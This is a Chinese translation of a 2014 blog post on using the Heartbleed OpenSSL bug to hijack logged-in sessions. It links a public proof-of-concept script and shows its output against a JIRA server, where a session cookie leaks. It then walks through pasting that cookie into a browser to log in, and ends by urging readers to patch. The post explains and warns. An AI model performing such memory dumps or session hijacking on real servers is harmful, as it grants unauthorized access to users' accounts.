利用 Heartbleed 漏洞劫持用户登录会话
2014-04-10 17:28
295 查看
英文原文:Hijacking user sessions with the Heartbleed vulnerability
使用到的插件:EditThisCookieHeartbleed 问题实际上比它现在能被看出来的更糟糕(其实现在看起来已经很坏了)。
Heartbleed (CVE-2014-0160) 是一个 OpenSSL 的漏洞,允许任何远程用户将服务器的一些内存进行转储。是的,这真的很糟糕。最值得关注的是,一个熟练的用户可以利用它通过一个流程将服务器用来与客户沟通的RSA私钥转储下来。发起这种攻击所要求的知识/技能水平并不是特别高,但可能超过脚本初级用户的平均水平。
那么为什么说 Heartbleed 比你想的更糟呢? 这很简单:目前可用的概念性证据的脚本允许任何客户端,在世界任何地方,进行用户登录的会话劫持攻击。
就在今天早上,被最广泛共享的概念性证明是这样一个简单的Python脚本:https://gist.github.com/takeshixx/10107280 。通过这个脚本,世界上任何人都可以从一个脆弱的服务器上转储一部分内存。
让我们看一看这个工具(它针对正在运行JIRA的问题跟踪系统的脆弱服务器的)的输出结果。为提高可读性,其中十六进制的输出部分已被删除。
[matt@laptop ~]# python heartbleed.py jira.XXXXXXXXXXX.com Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 3239 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request... ... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: .@..GET /browse/ en_US-cubysj-198 8229788/6160/11/ (lots of garbage) ..............Ac cept-Encoding: g zip,deflate,sdch ..Accept-Languag e: en-US,en;q=0. 8..Cookie: atlas sian.xsrf.token= BWEK-0C0G-BSN7-V OZ1|3d6d84686dc0 f214d0df1779cbe9 4db6047b0ae5|lou t; JSESSIONID=33 F4094F68826284D1 8AA6D7ED1D554E.. ..E.$3Z.l8.M..e5 ..6D7ED1D554E... ......*..?.e.b.. WARNING: server returned more data than it should - server is vulnerable!这肯定是转储最近一个GET请求产生的内存。你注意到上面的 JSESSIONID Cookie 了吗?这是 JIRA 用来跟踪您的HTTP会话判断你是否已经登录的方式。如果这个系统需要验证(象JIRA的安装一样),那么我就可以将这个cookie插入到我的浏览器,成为这个JIRA安装程序的合法用户。
插入 session ID cookie 到浏览器中(译注:现代浏览器的功能让人们更容易成为黑客了).
保存修改的
cookie 之后, 我们简单地刷新一下浏览器.
重新载入安装 JIRA . 注意,我们现在登录进安装程序中了.
如上所见, 一旦我们得到一个有效的 session ID cookie, 我们就能作为内部员工访问 JIRA 安装. 检测到这种类型的攻击的唯一方法是检查每个请求通信的源地址。
该 Heartbleed 漏洞是糟糕的,而且几乎没有做什么来防止远程攻击者可能执行一个允许绕过认证的会话劫持攻击。请给您的系统立即打上补丁吧。
相关文章推荐
- 利用arpspoof、tcpdump、ferret及hamster劫持登录会话
- SSL漏洞及其利用工具(SSL会话劫持)
- XP 利用sp2可多用户同时登录
- 利用okhttp框架实现包含验证码的用户登录,保持session操作(上)
- 利用 ssh 的用户配置文件 config 管理 ssh 会话
- heartbleed漏洞利用
- 利用Servlet和jsp实现客户端与服务器端的用户登录信息验证
- 重磅:利用麦当劳网站的漏洞获取用户密码
- Flask学习总结笔记(9) -- 利用Flask-Login维护用户登录状态
- 利用Shell脚本来监控Linux系统的负载、CPU、内存、硬盘、用户登录数
- [Ubuntu] 利用Ubuntu光盘破解win7用户登录 -- Crark the win7 user via Ubuntu live CD
- 利用SSH框架实现用户登录功能
- 利用okhttp框架实现包含验证码的用户登录,保持session操作(下)
- 应用服务器做了负载均衡之后如何保持用户登录状态的会话信息?
- Session案例之用户登录、会话管理总结
- 利用cookie实现用户自动登录的代码
- Android中利用httpclient进行网络通信的方法(以用户登录为例说明)
- 利用SQL注入漏洞登录后台的实现方法
- 利用Redis实现亿级别用户登录统计(活跃度以及登录次数统计)
- 利用SQL注入漏洞登录后台的实现方法